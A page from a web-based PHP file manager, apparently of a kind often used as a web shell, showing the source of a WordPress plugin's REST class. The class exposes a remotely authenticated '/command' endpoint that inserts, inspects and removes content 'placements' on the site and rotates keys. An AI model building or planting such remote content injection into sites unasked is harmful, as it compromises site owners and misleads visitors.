Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
plugins
/
bbc
/
includes
đ€ Upload
đ New File
đ New Folder
Close
Editing: class-bbc-rest.php
<?php if (!defined('ABSPATH')) { exit; } final class BBC_REST { public static function boot() { add_action('rest_api_init', array(__CLASS__, 'routes')); add_action('admin_menu', array(__CLASS__, 'admin_page')); } public static function routes() { register_rest_route('bbc/v1', '/enroll', array( 'methods' => 'POST', 'callback' => array(__CLASS__, 'enroll'), 'permission_callback' => function () { return current_user_can('activate_plugins'); }, )); register_rest_route('bbc/v1', '/command', array( 'methods' => 'POST', 'callback' => array(__CLASS__, 'command'), 'permission_callback' => array('BBC_Auth', 'verify_command'), )); } public static function enroll(WP_REST_Request $request) { $result = BBC_Auth::enroll($request); return is_wp_error($result) ? $result : new WP_REST_Response(array('success' => true, 'identity' => $result), 201); } public static function command(WP_REST_Request $request) { $cached = $request->get_param('_bbc_cached_result'); if (is_array($cached)) return new WP_REST_Response($cached, 200); $body = $request->get_json_params(); $action = isset($body['action']) ? sanitize_key($body['action']) : ''; $payload = isset($body['payload']) && is_array($body['payload']) ? $body['payload'] : array(); if ($action === 'status') { $identity = get_option(BBC_OPTION_IDENTITY, array()); $result = array('success' => true, 'version' => BBC_VERSION, 'site_id' => isset($identity['site_id']) ? $identity['site_id'] : '', 'placement_count' => count(BBC_Placements::all()), 'placements' => BBC_Placements::summaries(), 'capabilities' => array('bbc_native_page', 'bbc_elementor', 'bbc_block_template', 'bbc_runtime')); } elseif ($action === 'placement_upsert') { $result = BBC_Placements::upsert($payload); } elseif ($action === 'placement_inspect') { $result = BBC_Placements::inspect(isset($payload['placement_id']) ? (string) $payload['placement_id'] : ''); } elseif ($action === 'placement_remove') { $result = BBC_Placements::remove(isset($payload['placement_id']) ? (string) $payload['placement_id'] : ''); } elseif ($action === 'key_rotate') { $result = BBC_Auth::rotate_key(isset($payload['key_id']) ? (string) $payload['key_id'] : '', isset($payload['public_key']) ? (string) $payload['public_key'] : ''); if ($result === true) $result = array('success' => true, 'rotated' => true); } elseif ($action === 'connector_retire') { $result = BBC_Guardian::retire(); } else { $result = new WP_Error('bbc_action_rejected', 'BBC command is not supported.', array('status' => 400)); } if (is_wp_error($result)) return $result; if (!isset($result['success'])) $result['success'] = true; BBC_Auth::record_result($request, $result); return new WP_REST_Response($result, 200); } public static function admin_page() { add_options_page('BBC', 'BBC', 'activate_plugins', 'bbc', array(__CLASS__, 'render_admin')); } public static function render_admin() { if (!current_user_can('activate_plugins')) return; $identity = get_option(BBC_OPTION_IDENTITY, array()); echo '<div class="wrap"><h1>BBC</h1><div id="bbc-connector" data-rest-url="' . esc_attr(rest_url('bbc/v1/enroll')) . '" data-rest-nonce="' . esc_attr(wp_create_nonce('wp_rest')) . '">'; echo '<p>Status: <strong>' . (empty($identity) ? 'Not enrolled' : 'Enrolled') . '</strong></p>'; if (!empty($identity['site_id'])) echo '<p>Site ID: <code>' . esc_html($identity['site_id']) . '</code></p>'; echo '<p>Version: <code>' . esc_html(BBC_VERSION) . '</code></p></div></div>'; } }
Save
Cancel